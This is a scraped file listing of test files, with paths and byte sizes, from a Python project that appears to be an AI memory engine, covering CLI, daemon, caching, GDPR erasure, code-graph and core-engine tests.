bytestests/test_brain/test_truth.pyruns7,735 bytestests/test_bump_version.pyruns3,540 bytestests/test_cache/__init__.pyruns0 bytestests/test_cache/conftest.pyruns514 bytestests/test_cache/test_activation_hook.pyruns1,600 bytestests/test_cache/test_clear_and_policy.pyruns5,222 bytestests/test_cache/test_keys.pyruns1,544 bytestests/test_cache/test_lru.pyruns1,816 bytestests/test_cache/test_sqlite_store.pyruns5,922 bytestests/test_cache/test_tiered_and_factory.pyruns5,519 bytestests/test_ci_guards/__init__.pyruns0 bytestests/test_ci_guards/test_a_hung_test_is_named.pyruns3,264 bytestests/test_ci_guards/test_canonical_data_root_surface.pyruns8,402 bytestests/test_ci_guards/test_checkout_line_endings.pyruns2,089 bytestests/test_ci_guards/test_cli_mutation_identity.pyruns1,524 bytestests/test_ci_guards/test_config_mutation_auth.pyruns1,891 bytestests/test_ci_guards/test_cozo_store_compatibility.pyruns2,065 bytestests/test_ci_guards/test_cross_language_data_root_contract.pyruns2,197 bytestests/test_ci_guards/test_daemon_descriptor_guard.pyruns3,258 bytestests/test_ci_guards/test_dashboard_write_auth.pyruns1,883 bytestests/test_ci_guards/test_hermes_integration_contract.pyruns1,662 bytestests/test_ci_guards/test_installation_surface_contract.pyruns2,952 bytestests/test_ci_guards/test_installer_ci_matrix.pyruns1,429 bytestests/test_ci_guards/test_integration_contract_matrix.pyruns5,301 bytestests/test_ci_guards/test_integration_evidence_generation.pyruns703 bytestests/test_ci_guards/test_no_magicmock_artifacts.pyruns5,162 bytestests/test_ci_guards/test_no_unrouted_fact_inserts.pyruns2,988 bytestests/test_ci_guards/test_pending_store_boundary.pyruns837 bytestests/test_ci_guards/test_plugin_start_command_checker.pyruns3,311 bytestests/test_ci_guards/test_portable_start_command_checker.pyruns3,739 bytestests/test_ci_guards/test_python_floor_is_stated_consistently.pyruns1,879 bytestests/test_ci_guards/test_release_distribution.pyruns13,784 bytestests/test_ci_guards/test_release_evidence.pyruns9,954 bytestests/test_ci_guards/test_release_gate_integrity.pyruns3,973 bytestests/test_ci_guards/test_release_package_surface.pyruns10,122 bytestests/test_ci_guards/test_sqlite_connections_are_closed.pyruns7,634 bytestests/test_ci_guards/test_stage5b_gate.pyruns5,827 bytestests/test_ci_guards/test_test_environment_isolation.pyruns5,673 bytestests/test_ci_guards/test_text_files_name_their_encoding.pyruns3,637 bytestests/test_ci_guards/test_windows_installer_contract.pyruns5,416 bytestests/test_claude_hooks.pyruns34,244 bytestests/test_cli/__init__.pyruns0 bytestests/test_cli/test_a_model_download_ends_with_its_parent.pyruns2,630 bytestests/test_cli/test_account_check_on_windows.pyruns3,171 bytestests/test_cli/test_admission_cli_tier.pyruns2,567 bytestests/test_cli/test_backup_cmd.pyruns4,595 bytestests/test_cli/test_brain_truth_adapter.pyruns3,681 bytestests/test_cli/test_cli_metadata_read_only.pyruns1,008 bytestests/test_cli/test_compress_cmd.pyruns3,401 bytestests/test_cli/test_connect_dry_run_blackbox.pyruns1,627 bytestests/test_cli/test_daemon_child_exit.pyruns3,800 bytestests/test_cli/test_daemon_clock_drift_identity.pyruns14,305 bytestests/test_cli/test_daemon_cold_start_wait.pyruns21,481 bytestests/test_cli/test_daemon_identity_contract.pyruns6,070 bytestests/test_cli/test_daemon_instance_lock.pyruns18,918 bytestests/test_cli/test_daemon_lock_window.pyruns7,044 bytestests/test_cli/test_daemon_main_module_record.pyruns2,196 bytestests/test_cli/test_daemon_owned_discovery.pyruns17,692 bytestests/test_cli/test_daemon_paths.pyruns2,121 bytestests/test_cli/test_daemon_port_conflict.pyruns5,907 bytestests/test_cli/test_daemon_record_guardian.pyruns14,901 bytestests/test_cli/test_daemon_server_error.pyruns2,371 bytestests/test_cli/test_daemon_stop_wait_bound.pyruns6,856 bytestests/test_cli/test_daemon_unavailable_diagnosis.pyruns8,114 bytestests/test_cli/test_daemon_unpublished_owner.pyruns3,293 bytestests/test_cli/test_delete_reaches_any_profile.pyruns4,919 bytestests/test_cli/test_deployment_policy_regressions.pyruns1,100 bytestests/test_cli/test_diagnostics_cmd.pyruns3,317 bytestests/test_cli/test_doctor_daemon_liveness.pyruns11,099 bytestests/test_cli/test_doctor_deadline.pyruns4,886 bytestests/test_cli/test_doctor_exit_status.pyruns3,087 bytestests/test_cli/test_doctor_health_verdicts.pyruns6,088 bytestests/test_cli/test_doctor_host_diagnostics.pyruns6,124 bytestests/test_cli/test_doctor_main_readonly.pyruns3,113 bytestests/test_cli/test_doctor_reads_what_upgrade_hosts_refreshes.pyruns5,438 bytestests/test_cli/test_doctor_reports_data_repairs.pyruns2,891 bytestests/test_cli/test_doctor_reports_failed_saves.pyruns5,053 bytestests/test_cli/test_doctor_reports_hook_spool.pyruns2,736 bytestests/test_cli/test_doctor_reports_mesh_db.pyruns2,732 bytestests/test_cli/test_embedder_cmd.pyruns1,615 bytestests/test_cli/test_embedder_upgrade_cmd.pyruns6,372 bytestests/test_cli/test_fidelity_diagnostics.pyruns2,303 bytestests/test_cli/test_forget_daemon_contract.pyruns1,468 bytestests/test_cli/test_forget_dry_run.pyruns1,276 bytestests/test_cli/test_help_cmd.pyruns1,582 bytestests/test_cli/test_hermes_plugin_grant.pyruns4,914 bytestests/test_cli/test_host_upgrade_contract.pyruns4,026 bytestests/test_cli/test_json_error_paths.pyruns3,795 bytestests/test_cli/test_kinds_backfill_bad_run_id.pyruns2,636 bytestests/test_cli/test_kinds_cmd.pyruns8,734 bytestests/test_cli/test_kinds_cmd_json_flag_placement.pyruns2,250 bytestests/test_cli/test_kinds_cmd_refusal_mapping.pyruns3,965 bytestests/test_cli/test_laya_after_upgrade.pyruns5,502 bytestests/test_cli/test_legacy_service_migration.pyruns17,450 bytestests/test_cli/test_lifecycle_autostart_contract.pyruns2,644 bytestests/test_cli/test_linux_service_status.pyruns1,792 bytestests/test_cli/test_list_kind_filter.pyruns6,071 bytestests/test_cli/test_main_additive.pyruns3,234 bytestests/test_cli/test_media_cmd.pyruns12,770 bytestests/test_cli/test_mesh_cmd.pyruns1,467 bytestests/test_cli/test_messages_name_real_commands.pyruns4,581 bytestests/test_cli/test_migration_logs_beside_a_moved_database_are_found.pyruns2,105 bytestests/test_cli/test_models_cmd.pyruns2,534 bytestests/test_cli/test_mutation_conflict_message.pyruns1,635 bytestests/test_cli/test_mutation_daemon_contract.pyruns3,398 bytestests/test_cli/test_mutation_unknown_id.pyruns2,261 bytestests/test_cli/test_one_shot_commands_build_no_answer_check.pyruns2,961 bytestests/test_cli/test_ops_resolve_bad_id.pyruns9,779 bytestests/test_cli/test_optimize_cmd.pyruns3,606 bytestests/test_cli/test_output_survives_a_legacy_code_page.pyruns5,151 bytestests/test_cli/test_pending_store_profile_isolation.pyruns3,096 bytestests/test_cli/test_pending_store_safety.pyruns1,276 bytestests/test_cli/test_platform_import_safety.pyruns11,770 bytestests/test_cli/test_pr253_calibration_cancel.pyruns816 bytestests/test_cli/test_profile_switch_bad_name.pyruns2,123 bytestests/test_cli/test_provider_custom_endpoint.pyruns11,701 bytestests/test_cli/test_provider_noninteractive_contract.pyruns3,913 bytestests/test_cli/test_proxy_cmd.pyruns2,653 bytestests/test_cli/test_python_312_floor_is_enforced.pyruns5,609 bytestests/test_cli/test_quantize_repair_only.pyruns8,796 bytestests/test_cli/test_recall_answer_check_text.pyruns5,305 bytestests/test_cli/test_recall_daemon_fallback.pyruns6,798 bytestests/test_cli/test_recall_stdout_is_results_only.pyruns2,252 bytestests/test_cli/test_recall_text_says_when_incomplete.pyruns3,725 bytestests/test_cli/test_recall_time_flags_json.pyruns4,155 bytestests/test_cli/test_regraph_goes_through_the_daemon.pyruns5,813 bytestests/test_cli/test_release_help_surface.pyruns3,809 bytestests/test_cli/test_remember_idempotent_retry.pyruns2,232 bytestests/test_cli/test_remember_replaces_cli.pyruns6,786 bytestests/test_cli/test_remember_sync_daemon_contract.pyruns2,331 bytestests/test_cli/test_remote_json_envelope.pyruns2,431 bytestests/test_cli/test_repair_speaker.pyruns2,305 bytestests/test_cli/test_scale_engine_cmd.pyruns3,516 bytestests/test_cli/test_service_data_root_contract.pyruns2,882 bytestests/test_cli/test_service_definition_handles.pyruns3,148 bytestests/test_cli/test_service_removal_races.pyruns9,037 bytestests/test_cli/test_session_command.pyruns3,251 bytestests/test_cli/test_setup_consent_contract.pyruns2,318 bytestests/test_cli/test_setup_wizard_embedding.pyruns2,085 bytestests/test_cli/test_setup_wizard_laya.pyruns10,359 bytestests/test_cli/test_setup_wizard_mode_b_server.pyruns4,687 bytestests/test_cli/test_setup_wizard_ux3.pyruns1,980 bytestests/test_cli/test_shared_computer_accounts.pyruns8,938 bytestests/test_cli/test_sources_cmd.pyruns11,717 bytestests/test_cli/test_stale_mcp_diagnostics.pyruns1,435 bytestests/test_cli/test_star_prompt.pyruns5,171 bytestests/test_cli/test_status_field_parity.pyruns12,719 bytestests/test_cli/test_status_says_when_text_vectors_need_the_service.pyruns878 bytestests/test_cli/test_stop_daemon_busy_health.pyruns13,412 bytestests/test_cli/test_tag_flags.pyruns1,593 bytestests/test_cli/test_team_cmd.pyruns3,905 bytestests/test_cli/test_trace_answer_check_text.pyruns6,423 bytestests/test_cli/test_trace_daemon_contract.pyruns1,538 bytestests/test_cli/test_upgrade_cmd.pyruns4,181 bytestests/test_cli/test_v3442_daemon_restart.pyruns11,169 bytestests/test_cli/test_v3442_warmup_daemon_aware.pyruns6,561 bytestests/test_cli/test_version_banner_stream.pyruns2,481 bytestests/test_cli/test_w1_namespace_control_plane.pyruns8,853 bytestests/test_cli/test_w8_doctor_installs.pyruns8,319 bytestests/test_cli/test_warmup_requires_ready.pyruns4,677 bytestests/test_cli/test_wizard_mode_b_model_choice.pyruns5,231 bytestests/test_cli/test_wizard_mode_c_model_choice.pyruns1,832 bytestests/test_cli/test_wp19_enrich_cmd.pyruns5,543 bytestests/test_cli/test_wp19_enrich_repair_saves.pyruns2,939 bytestests/test_cli/test_wp19_list_stubs.pyruns900 bytestests/test_cli/test_wp5_local_model.pyruns3,390 bytestests/test_cli/test_wp8_daemon_wiring.pyruns6,362 bytestests/test_cli/test_wp8_save_completion.pyruns2,639 bytestests/test_cli_core.pyruns1,666 bytestests/test_cli_json.pyruns6,733 bytestests/test_cli_subparsers/__init__.pyruns0 bytestests/test_cli_subparsers/test_claude_desktop_path.pyruns3,183 bytestests/test_cli_subparsers/test_connect_and_prestage.pyruns6,115 bytestests/test_cli_subparsers/test_connect_copilot_cli.pyruns1,819 bytestests/test_cli_subparsers/test_connect_many.pyruns9,779 bytestests/test_cli_subparsers/test_connect_muse_and_grok_cli.pyruns3,995 bytestests/test_cli_subparsers/test_connect_openclaw.pyruns2,797 bytestests/test_cli_subparsers/test_continue_owned_entry.pyruns3,781 bytestests/test_cli_subparsers/test_db_migrate.pyruns9,829 bytestests/test_cli_subparsers/test_doctor_optimize.pyruns11,714 bytestests/test_cli_subparsers/test_escape_hatch.pyruns5,014 bytestests/test_cli_subparsers/test_evidence_commands.pyruns1,858 bytestests/test_cli_subparsers/test_portable_kit.pyruns26,370 bytestests/test_cli_subparsers/test_super_help.pyruns2,701 bytestests/test_cli_subparsers/test_the_skills_are_not_shipped_by_pip.pyruns4,235 bytestests/test_cli_subparsers/test_transport_connect.pyruns14,753 bytestests/test_cli_subparsers/test_version_banner.pyruns8,084 bytestests/test_cli_subparsers/test_wizard_v3426_options.pyruns5,414 bytestests/test_cli_v33.pyruns22,671 bytestests/test_code_graph/__init__.pyruns25 bytestests/test_code_graph/conftest.pyruns1,246 bytestests/test_code_graph/fixtures/sample_python.pyruns936 bytestests/test_code_graph/fixtures/sample_typescript.tsruns977 bytestests/test_code_graph/test_blast_radius.pyruns7,367 bytestests/test_code_graph/test_bridge_off_write_path.pyruns12,911 bytestests/test_code_graph/test_changes.pyruns13,642 bytestests/test_code_graph/test_communities.pyruns11,034 bytestests/test_code_graph/test_config.pyruns2,805 bytestests/test_code_graph/test_database.pyruns11,463 bytestests/test_code_graph/test_entity_resolver.pyruns12,131 bytestests/test_code_graph/test_event_listeners.pyruns11,512 bytestests/test_code_graph/test_extractor_python.pyruns6,106 bytestests/test_code_graph/test_extractor_typescript.pyruns5,403 bytestests/test_code_graph/test_fact_enricher.pyruns6,310 bytestests/test_code_graph/test_flows.pyruns11,982 bytestests/test_code_graph/test_git_hooks.pyruns7,610 bytestests/test_code_graph/test_graph_engine.pyruns9,905 bytestests/test_code_graph/test_graph_store.pyruns9,428 bytestests/test_code_graph/test_hebbian_linker.pyruns6,975 bytestests/test_code_graph/test_incremental.pyruns10,238 bytestests/test_code_graph/test_mcp_tools.pyruns19,142 bytestests/test_code_graph/test_models.pyruns3,083 bytestests/test_code_graph/test_parser.pyruns10,706 bytestests/test_code_graph/test_resolver.pyruns21,853 bytestests/test_code_graph/test_schema.pyruns6,193 bytestests/test_code_graph/test_search.pyruns9,487 bytestests/test_code_graph/test_service.pyruns2,502 bytestests/test_code_graph/test_temporal_checker.pyruns7,352 bytestests/test_code_graph/test_watcher.pyruns6,891 bytestests/test_compliance/__init__.pyruns0 bytestests/test_compliance/awkward_store.pyruns4,578 bytestests/test_compliance/erasure_universe.pyruns9,219 bytestests/test_compliance/test_answer_check_history_gdpr.pyruns9,740 bytestests/test_compliance/test_audit_check_for_a_screen_that_asks_often.pyruns2,932 bytestests/test_compliance/test_audit_trail_is_counted_and_paged.pyruns2,721 bytestests/test_compliance/test_erasing_one_person_does_not_erase_another.pyruns5,177 bytestests/test_compliance/test_erasure_acts_on_a_failed_vector_delete.pyruns4,141 bytestests/test_compliance/test_erasure_clears_derive_cache.pyruns2,066 bytestests/test_compliance/test_erasure_leaves_no_copy_anywhere.pyruns6,171 bytestests/test_compliance/test_erasure_outcome_is_one_answer.pyruns6,375 bytestests/test_compliance/test_erasure_reaches_native_projections.pyruns3,698 bytestests/test_compliance/test_erasure_reaches_the_graph_projection.pyruns6,948 bytestests/test_compliance/test_erasure_reaches_the_search_expansion_index.pyruns6,506 bytestests/test_compliance/test_erasure_reaches_what_was_shown.pyruns6,479 bytestests/test_compliance/test_erasure_removes_the_workspace_entry.pyruns3,993 bytestests/test_compliance/test_erasure_with_unreadable_and_old_backups.pyruns3,241 bytestests/test_compliance/test_eu_ai_act.pyruns2,556 bytestests/test_compliance/test_export_is_one_persons_and_private.pyruns8,015 bytestests/test_compliance/test_export_serialises_every_column_type.pyruns12,481 bytestests/test_compliance/test_forget_facts.pyruns1,504 bytestests/test_compliance/test_gdpr.pyruns11,091 bytestests/test_compliance/test_gdpr_completeness.pyruns4,784 bytestests/test_compliance/test_gdpr_erasure_ordering.pyruns15,481 bytestests/test_compliance/test_gdpr_erasure_wins.pyruns9,947 bytestests/test_compliance/test_gdpr_export_code_graph_complete.pyruns2,840 bytestests/test_compliance/test_gdpr_export_media.pyruns5,231 bytestests/test_compliance/test_gdpr_vector_erasure.pyruns6,128 bytestests/test_compliance/test_lifecycle.pyruns10,907 bytestests/test_compliance/test_profile_erase_purges_keyword_index.pyruns2,619 bytestests/test_compliance/test_profile_erase_with_write_receipts.pyruns6,148 bytestests/test_compliance/test_profile_erasure_with_correction_history.pyruns2,599 bytestests/test_compliance/test_retention_rules_are_listed_without_the_write_lock.pyruns2,533 bytestests/test_compliance/test_the_surfaces_agree_about_an_erasure.pyruns2,208 bytestests/test_compliance_full.pyruns23,359 bytestests/test_compliance_retention_handle.pyruns1,149 bytestests/test_config_ccq_write_path.pyruns14,217 bytestests/test_config_system.pyruns5,783 bytestests/test_contracts/test_v402_contract_schemas.pyruns7,005 bytestests/test_core/__init__.pyruns0 bytestests/test_core/test_386_ingestion_reaper.pyruns6,769 bytestests/test_core/test_386_recall_read_only_contract.pyruns12,511 bytestests/test_core/test_386_remember_admission_contract.pyruns2,383 bytestests/test_core/test_a_check_finished_later_never_costs_a_recall.pyruns12,238 bytestests/test_core/test_a_dated_fact_reaches_the_temporal_layer.pyruns11,701 bytestests/test_core/test_a_drifted_graph_heals_itself.pyruns7,399 bytestests/test_core/test_a_half_promoted_store_can_still_finish.pyruns4,840 bytestests/test_core/test_a_machine_guess_never_hides_a_save.pyruns2,230 bytestests/test_core/test_a_new_memory_is_born_active.pyruns7,910 bytestests/test_core/test_a_recomputed_lifecycle_survives_the_tick.pyruns6,591 bytestests/test_core/test_a_replaced_orchestrator_releases_its_runtime.pyruns4,257 bytestests/test_core/test_a_rule_answer_reads_as_a_rule.pyruns3,507 bytestests/test_core/test_a_session_remembers_its_last_few_turns.pyruns15,467 bytestests/test_core/test_a_shut_embedding_service_stays_shut.pyruns8,444 bytestests/test_core/test_a_stopped_laya_setup_is_never_a_dead_end.pyruns11,852 bytestests/test_core/test_a_stored_memory_reaches_the_projection_or_the_outbox.pyruns13,402 bytestests/test_core/test_a_stub_is_flagged_when_it_is_written.pyruns3,322 bytestests/test_core/test_a_write_does_not_wait_for_a_cold_model.pyruns8,128 bytestests/test_core/test_admission.pyruns6,361 bytestests/test_core/test_admission_mcp_rbac.pyruns3,855 bytestests/test_core/test_admission_tranche_a.pyruns25,339 bytestests/test_core/test_admission_tranche_b.pyruns19,522 bytestests/test_core/test_admission_tranche_c.pyruns7,422 bytestests/test_core/test_admission_tranche_d.pyruns7,193 bytestests/test_core/test_admission_tranche_e.pyruns10,751 bytestests/test_core/test_admission_tranche_f.pyruns8,517 bytestests/test_core/test_admission_tranche_g.pyruns6,119 bytestests/test_core/test_an_existing_store_gets_the_backends_by_itself.pyruns7,462 bytestests/test_core/test_an_unchecked_answer_never_reads_as_checked.pyruns10,218 bytestests/test_core/test_answer_check_history.pyruns9,566 bytestests/test_core/test_answer_check_history_stats.pyruns4,132 bytestests/test_core/test_answer_check_history_store.pyruns17,527 bytestests/test_core/test_backend_orchestrator_migration.pyruns2,939 bytestests/test_core/test_background_child_never_outlives_its_call.pyruns2,961 bytestests/test_core/test_background_embed_waits_only_for_query_embedding.pyruns5,856 bytestests/test_core/test_background_writes_wait_for_recalls.pyruns4,876 bytestests/test_core/test_calibration_real_engine.pyruns6,579 bytestests/test_core/test_calibration_uses_the_engines_workspace.pyruns1,305 bytestests/test_core/test_caller_kind_admission.pyruns7,930 bytestests/test_core/test_canonical_ingestion_materialization.pyruns53,546 bytestests/test_core/test_cloud_embed_client_reuse.pyruns7,520 bytestests/test_core/test_community_summary.pyruns5,500 bytestests/test_core/test_compaction_not_applicable.pyruns3,656 bytestests/test_core/test_component_registry.pyruns10,272 bytestests/test_core/test_config.pyruns15,687 bytestests/test_core/test_config_atomic_save.pyruns1,505 bytestests/test_core/test_consolidation_engine.pyruns19,876 bytestests/test_core/test_consolidation_writes_no_memories.pyruns15,517 bytestests/test_core/test_context_cache.pyruns19,682 bytestests/test_core/test_context_loads_are_not_questions.pyruns4,681 bytestests/test_core/test_core_block_hygiene.pyruns10,212 bytestests/test_core/test_core_memory_blocks.pyruns6,848 bytestests/test_core/test_correction_candidate_pipeline.pyruns6,222 bytestests/test_core/test_coverage_backfill.pyruns8,448 bytestests/test_core/test_credentials_never_leave_the_machine.pyruns5,784 bytestests/test_core/test_daemon_text_embedder.pyruns9,766 bytestests/test_core/test_data_locality.pyruns12,949 bytestests/test_core/test_decay_uses_the_stores_timescale.pyruns4,974 bytestests/test_core/test_dependency_version_warning.pyruns1,475 bytestests/test_core/test_deployment_config.pyruns7,473 bytestests/test_core/test_derivation_lineage.pyruns7,072 bytestests/test_core/test_egress_exits_are_gated.pyruns14,894 bytestests/test_core/test_embed_memory_check_in_process.pyruns1,832 bytestests/test_core/test_embed_model_check.pyruns5,649 bytestests/test_core/test_embed_route_prompt.pyruns2,825 bytestests/test_core/test_embedding_fallback.pyruns19,197 bytestests/test_core/test_embedding_no_invention.pyruns12,364 bytestests/test_core/test_embedding_pressure_hysteresis.pyruns5,226 bytestests/test_core/test_embedding_provider_matches_model.pyruns4,816 bytestests/test_core/test_embedding_worker_backend_order.pyruns821 bytestests/test_core/test_embedding_worker_spawn_lock.pyruns3,367 bytestests/test_core/test_engine_capabilities.pyruns10,813 bytestests/test_core/test_engine_close_joins_its_threads.pyruns3,911 bytestests/test_core/test_engine_lock.pyruns6,950 bytestests/test_core/test_engine_recall_path.pyruns9,815 bytestests/test_core/test_engine_session_lifecycle.pyruns7,306 bytestests/test_core/test_engine_store_path.pyruns13,970 bytestests/test_core/test_engine_store_profile.pyruns17,477 bytestests/test_core/test_engine_upgrade.pyruns11,453 bytestests/test_core/test_enrich_new_facts_now.pyruns11,053 bytestests/test_core/test_entity_community.pyruns4,845 bytestests/test_core/test_error_envelope.pyruns2,155 bytestests/test_core/test_every_memory_gets_a_place_in_the_graph.pyruns16,109 bytestests/test_core/test_evidence_bundle.pyruns8,879 bytestests/test_core/test_exact_lexical_evidence.pyruns2,039 bytestests/test_core/test_f1_store_pipeline_repair_fallback.pyruns6,917 bytestests/test_core/test_f5_embedding_mid_window_eviction.pyruns3,490 bytestests/test_core/test_f7_f9_ingestion_lease_hardening.pyruns5,918 bytestests/test_core/test_fact_consolidator_dbmanager.pyruns8,171 bytestests/test_core/test_fact_consolidator_dedup.pyruns7,747 bytestests/test_core/test_file_lock.pyruns2,881 bytestests/test_core/test_full_consolidation_wiring.pyruns8,032 bytestests/test_core/test_graph_analyzer.pyruns7,811 bytestests/test_core/test_graph_metrics_helper_has_room.pyruns2,293 bytestests/test_core/test_graph_metrics_run_outside_the_daemon.pyruns5,012 bytestests/test_core/test_hard_abstain.pyruns8,439 bytestests/test_core/test_health_monitor_budget.pyruns4,638 bytestests/test_core/test_hub_baseline_engine_wiring.pyruns2,607 bytestests/test_core/test_ingest_gate.pyruns9,411 bytestests/test_core/test_ingestion_command.pyruns19,213 bytestests/test_core/test_ingestion_entropy_admission.pyruns1,939 bytestests/test_core/test_ingestion_lease_after_crash.pyruns6,135 bytestests/test_core/test_injected_text_has_a_hard_token_cap.pyruns1,236 bytestests/test_core/test_jev_rerank_wiring.pyruns21,221 bytestests/test_core/test_judge_keys.pyruns9,297 bytestests/test_core/test_judge_keys_hardening.pyruns6,989 bytestests/test_core/test_judge_selection.pyruns23,348 bytestests/test_core/test_junk_cannot_score_as_keep_worthy.pyruns6,326 bytestests/test_core/test_keep_worthiness_live_shapes.pyruns3,564 bytestests/test_core/test_key_expander.pyruns8,725 bytestests/test_core/test_kind_on_resave.pyruns4,871 bytestests/test_core/test_kind_query.pyruns6,798 bytestests/test_core/test_kind_reconcile_task.pyruns5,155 bytestests/test_core/test_kind_upgrade_once.pyruns9,735 bytestests/test_core/test_langevin_init.pyruns14,761 bytestests/test_core/test_laya_download_location.pyruns9,158 bytestests/test_core/test_laya_interpreter_safety.pyruns11,805 bytestests/test_core/test_laya_runtime.pyruns31,932 bytestests/test_core/test_laya_runtime_native.pyruns1,786 bytestests/test_core/test_laya_worker.pyruns10,868 bytestests/test_core/test_laya_worker_replies_and_watchdog.pyruns6,450 bytestests/test_core/test_lifecycle_has_one_authority.pyruns6,609 bytestests/test_core/test_light_engine_managed_embedder.pyruns1,278 bytestests/test_core/test_lineage_outside_the_write_lock.pyruns13,863 bytestests/test_core/test_long_reads_take_no_write_lock.pyruns9,243 bytestests/test_core/test_maintenance_never_archives_a_used_memory.pyruns5,155 bytestests/test_core/test_maintenance_scheduler_startup.pyruns3,700 bytestests/test_core/test_memory_kind_backfill.pyruns27,933 bytestests/test_core/test_memory_kind_backfill_decisions.pyruns10,217 bytestests/test_core/test_memory_kind_config.pyruns5,002 bytestests/test_core/test_memory_kind_wiring.pyruns4,019 bytestests/test_core/test_migration_daemon_safety.pyruns4,436 bytestests/test_core/test_migration_v3_4_26.pyruns1,906 bytestests/test_core/test_mode_b_local_endpoint.pyruns14,540 bytestests/test_core/test_mode_reconcile.pyruns2,096 bytestests/test_core/test_model_catalog.pyruns3,761 bytestests/test_core/test_modes.pyruns6,463 bytestests/test_core/test_mutation_routing.pyruns6,655 bytestests/test_core/test_mutation_semantic_sync.pyruns4,345 bytestests/test_core/test_mutation_service.pyruns4,885 bytestests/test_core/test_no_machine_correction_inside_one_save.pyruns3,150 bytestests/test_core/test_ollama_embedder.pyruns9,500 bytestests/test_core/test_one_drain_pass_is_one_vector_write.pyruns3,621 bytestests/test_core/test_one_model_default.pyruns4,232 bytestests/test_core/test_openai_embeddings.pyruns9,180 bytestests/test_core/test_outbound_gate.pyruns10,135 bytestests/test_core/test_phase4b_temporal_surfacing.pyruns5,429 bytestests/test_core/test_phase5_brain_wiring.pyruns30,328 bytestests/test_core/test_pid_liveness_on_windows.pyruns6,415 bytestests/test_core/test_pii.pyruns2,561 bytestests/test_core/test_platform_utils.pyruns8,641 bytestests/test_core/test_pr253_calibration_cancel.pyruns5,662 bytestests/test_core/test_pr253_calibration_nonregression.pyruns3,948 bytestests/test_core/test_pr253_calibration_publication.pyruns2,672 bytestests/test_core/test_pr253_recipe_compatibility.pyruns1,338 bytestests/test_core/test_pr253_source_and_budget_notices.pyruns1,463 bytestests/test_core/test_profiles.pyruns10,576 bytestests/test_core/test_profiles_save_on_windows.pyruns1,288 bytestests/test_core/test_progressive_abstraction.pyruns6,032 bytestests/test_core/test_project_identity.pyruns2,856 bytestests/test_core/test_projection_queue_reports_honestly.pyruns4,069 bytestests/test_core/test_provider_endpoint_trust.pyruns4,226 bytestests/test_core/test_queue_consumer.pyruns10,243 bytestests/test_core/test_ram_lock.pyruns5,423 bytestests/test_core/test_ram_lock_cross_platform.pyruns1,187 bytestests/test_core/test_ranking_policy.pyruns689 bytestests/test_core/test_rate_limit.pyruns4,260 bytestests/test_core/test_rate_limiter_runtime.pyruns2,861 bytestests/test_core/test_recall_behavioral_entities.pyruns1,234 bytestests/test_core/test_recall_health.pyruns5,776 bytestests/test_core/test_recall_layers.pyruns4,018 bytestests/test_core/test_recall_markers.pyruns6,692 bytestests/test_core/test_recall_pipeline_answer_check_trace.pyruns8,527 bytestests/test_core/test_recall_priority_gate.pyruns4,533 bytestests/test_core/test_recall_queue.pyruns10,015 bytestests/test_core/test_recall_sources.pyruns2,739 bytestests/test_core/test_recall_store_boundary.pyruns3,014 bytestests/test_core/test_recall_worker_write_identity.pyruns6,169 bytestests/test_core/test_redaction_keeps_paths_and_urls.pyruns2,896 bytestests/test_core/test_registry.pyruns7,334 bytestests/test_core/test_registry_coverage.pyruns2,448 bytestests/test_core/test_remember_correction_kind_carryover.pyruns6,514 bytestests/test_core/test_remember_replaces.pyruns22,344 bytestests/test_core/test_requests_and_stubs_do_not_answer_recency.pyruns9,957 bytestests/test_core/test_reranker_enabled_override.pyruns3,144 bytestests/test_core/test_reranker_scores_by_length.pyruns2,054 bytestests/test_core/test_reranker_worker_gpu_cache.pyruns7,029 bytestests/test_core/test_review243_hopfield_config.pyruns3,254 bytestests/test_core/test_s9_dash_recall_perf.pyruns3,925 bytestests/test_core/test_s9_w2_security.pyruns9,196 bytestests/test_core/test_safe_fs.pyruns3,756 bytestests/test_core/test_saved_memory_keeps_its_own_fact.pyruns3,248 bytestests/test_core/test_scale_engine_config.pyruns968 bytestests/test_core/test_scale_engine_lifecycle.pyruns27,965 bytestests/test_core/test_scope_config.pyruns2,989 bytestests/test_core/test_scope_plumbing.pyruns14,094 bytestests/test_core/test_secrets_are_owner_only_before_written.pyruns2,235 bytestests/test_core/test_security_primitives.pyruns20,170 bytestests/test_core/test_session_close_stays_cheap.pyruns3,133 bytestests/test_core/test_set_fact_kind_mutation.pyruns5,482 bytestests/test_core/test_shadow_router.pyruns22,445 bytestests/test_core/test_shadow_router_reaches_a_verdict.pyruns6,413 bytestests/test_core/test_sheaf_default_off.pyruns5,894 bytestests/test_core/test_sheaf_explicit_choice.pyruns3,777 bytestests/test_core/test_sheaf_notice_once_per_install.pyruns3,011 bytestests/test_core/test_silent_failure_elevation.pyruns3,033 bytestests/test_core/test_slm_disabled.pyruns2,978 bytestests/test_core/test_slm_media_catalog_and_validation.pyruns3,763 bytestests/test_core/test_slm_media_provider_routing.pyruns4,363 bytestests/test_core/test_source_fidelity_guard.pyruns11,086 bytestests/test_core/test_stage8_ram_lock_parent_perms.pyruns1,465 bytestests/test_core/test_stale_session_close.pyruns5,268 bytestests/test_core/test_startup_coverage_check.pyruns1,716 bytestests/test_core/test_store_pipeline_canonical_write_order.pyruns7,028 bytestests/test_core/test_store_pipeline_vectors.pyruns5,365 bytestests/test_core/test_sufficiency_wiring.pyruns9,718 bytestests/test_core/test_support_stage.pyruns5,990 bytestests/test_core/test_tag_identity.pyruns4,723 bytestests/test_core/test_tag_query.pyruns6,835 bytestests/test_core/test_the_answer_check_is_repeatable.pyruns22,645 bytestests/test_core/test_the_answer_check_on_the_recall_path.pyruns11,993 bytestests/test_core/test_the_drain_projects_what_recall_can_return.pyruns17,358 bytestests/test_core/test_the_engine_that_ranks_is_the_engine_reported.pyruns7,904 bytestests/test_core/test_the_graph_projection_never_drifts.pyruns7,667 bytestests/test_core/test_the_kind_facet_runs_before_the_judge.pyruns10,821 bytestests/test_core/test_the_online_check_sends_only_this_profiles_memories.pyruns5,749 bytestests/test_core/test_topic_signature.pyruns6,420 bytestests/test_core/test_turn_three_is_not_as_cold_as_turn_one.pyruns6,831 bytestests/test_core/test_v3442_reranker_warmup_singleton.pyruns4,614 bytestests/test_core/test_vector_history_stays_bounded.pyruns8,024 bytestests/test_core/test_what_am_i_working_on_answers.pyruns1,869 bytestests/test_core/test_which_check_runs_and_who_holds_it.pyruns11,378 bytestests/test_core/test_worker_pool_fast.pyruns1,373 bytestests/test_core/test_worker_pool_fd.pyruns2,168 bytestests/test_core/test_wp12b_hopfield_roundtrip.pyruns719 bytestests/test_core/test_wp19_description.pyruns4,325 bytestests/test_core/test_wp19_enrichment_event_start.pyruns5,442 bytestests/test_core/test_wp19_health_repairs.pyruns11,438 